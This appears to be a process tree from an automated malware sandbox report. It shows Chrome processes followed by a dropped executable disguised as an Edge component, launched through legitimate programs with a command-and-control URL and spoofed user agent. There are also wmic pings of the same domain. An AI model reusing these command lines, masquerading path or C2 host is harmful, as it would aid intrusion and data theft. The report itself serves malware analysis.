C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8108 /prefetch:87⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8404 /prefetch:87⤵PID:1652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8224 /prefetch:17⤵PID:2512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8644 /prefetch:87⤵PID:4440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,15792737218416472170,15957587791833439457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5516 /prefetch:87⤵PID:1356
-
-
-
-
-
C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exeX C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe4⤵PID:1144
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeX C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe4⤵PID:3328
-
-
C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateBroker.exeX C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe4⤵PID:2896
-
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exeX http://rusacenwaxalvi.xyz/dimwebpan/gate.php*Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141*7052770e4931b3197e6e9a0bccc1d8413⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2204
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exeX http://rusacenwaxalvi.xyz/dimwebpan/gate.php*Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141*7052770e4931b3197e6e9a0bccc1d8413⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2924
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exeX http://rusacenwaxalvi.xyz/dimwebpan/gate.php*Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141*7052770e4931b3197e6e9a0bccc1d8413⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2724 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 5924⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:2984
-
-
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exeX http://rusacenwaxalvi.xyz/dimwebpan/gate.php*Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141*7052770e4931b3197e6e9a0bccc1d8413⤵
- Executes dropped EXE
PID:2380 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2380 -s 884⤵
- Program crash
PID:3216
-
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_PingStatus where address='rusacenwaxalvi.xyz' get StatusCode /FORMAT:List3⤵PID:3936
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_PingStatus where address='rusacenwaxalvi.xyz' get ResponseTime /FORMAT:List3⤵PID:3752
-
-